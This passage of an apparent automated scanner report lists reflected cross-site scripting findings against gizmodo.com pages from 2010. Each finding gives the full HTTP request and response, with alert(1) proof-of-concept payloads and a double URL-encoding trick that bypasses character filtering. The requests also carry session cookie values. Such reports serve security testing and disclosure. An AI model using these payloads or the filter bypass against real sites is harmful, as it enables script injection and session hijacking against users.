Content-Type: text/html; charset=utf-8;
Content-Length: 96337

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/5712981/commenter-qa-were-here-to-help8f371"-alert(1)-"6bbf3d6c6d2", c5:"", c6:"", c15:"754d3b148df7a597947f5556cbe06628" });</script>
...[SNIP]...

1.7. http://gizmodo.com/5713152/your-body-is-a-gadget [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5713152/your-body-is-a-gadget

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6fe9"-alert(1)-"e929857abce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5713152/your-body-is-a-gadgetf6fe9"-alert(1)-"e929857abce HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:26:34 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:33 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:33 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:26:33 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=85856 at t=1292286394778184 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9976
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 92542

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/5713152/your-body-is-a-gadgetf6fe9"-alert(1)-"e929857abce", c5:"", c6:"", c15:"754d3b148df7a597947f5556cbe06628" });</script>
...[SNIP]...

1.8. http://gizmodo.com/tag/trueconfessions/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/trueconfessions/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4a0b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef25e7f0d66c was submitted in the REST URL parameter 2. This input was echoed as c4a0b"><script>alert(1)</script>f25e7f0d66c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /tag/trueconfessionsc4a0b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef25e7f0d66c/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:52 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:51 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=161250 at t=1292286532811568 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9980
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Gizmodo: trueconfessionsc4a0b"><script>alert(1)</script>f25e7f0d66c RSS feed" href="/tag/trueconfessionsc4a0b%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ef25e7f0d66c/index.xml" />
...[SNIP]...

1.9. http://gizmodo.com/tag/trueconfessions/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/trueconfessions/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bec93"-alert(1)-"2088d3d2b3d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag/trueconfessionsbec93"-alert(1)-"2088d3d2b3d/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:28:56 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:55 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:28:55 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:28:55 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:28:55 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:28:55 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=98876 at t=1292286536557695 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9964
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59120

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/tag/trueconfessionsbec93"-alert(1)-"2088d3d2b3d/", c5:"", c6:"", c15:"d83bc45c61a6ebfbdc572c64d1a295c6" });</script>
...[SNIP]...

1.10. http://gizmodo.com/tag/twitter/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/twitter/

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3073"-alert(1)-"16e01a61e5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /tag/twitterd3073"-alert(1)-"16e01a61e5/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:13 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:12 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=105236 at t=1292286553610545 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9962
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59003

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/tag/twitterd3073"-alert(1)-"16e01a61e5/", c5:"", c6:"", c15:"d83bc45c61a6ebfbdc572c64d1a295c6" });</script>
...[SNIP]...

1.11. http://gizmodo.com/tag/twitter/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/twitter/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48f56%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e18ac90b7210 was submitted in the REST URL parameter 2. This input was echoed as 48f56"><script>alert(1)</script>18ac90b7210 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /tag/twitter48f56%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e18ac90b7210/ HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:10 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:09 GMT; path=/; domain=.gizmodo.com
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=105116 at t=1292286550813726 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9992
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 59271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Gizmodo: twitter48f56"><script>alert(1)</script>18ac90b7210 RSS feed" href="/tag/twitter48f56%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e18ac90b7210/index.xml" />
...[SNIP]...

1.12. http://gizmodo.com/tag/twitter/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /tag/twitter/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c326"><script>alert(1)</script>1cb7869197b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tag/twitter/?8c326"><script>alert(1)</script>1cb7869197b=1 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:29:06 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:05 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:29:05 GMT; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:29:05 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; expires=Mon, 14-Dec-2009 00:29:06 GMT; path=/; domain=.gizmodo.com
Set-Cookie: SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; expires=Mon, 14-Dec-2009 00:29:06 GMT; path=/; domain=.gizmodo.com
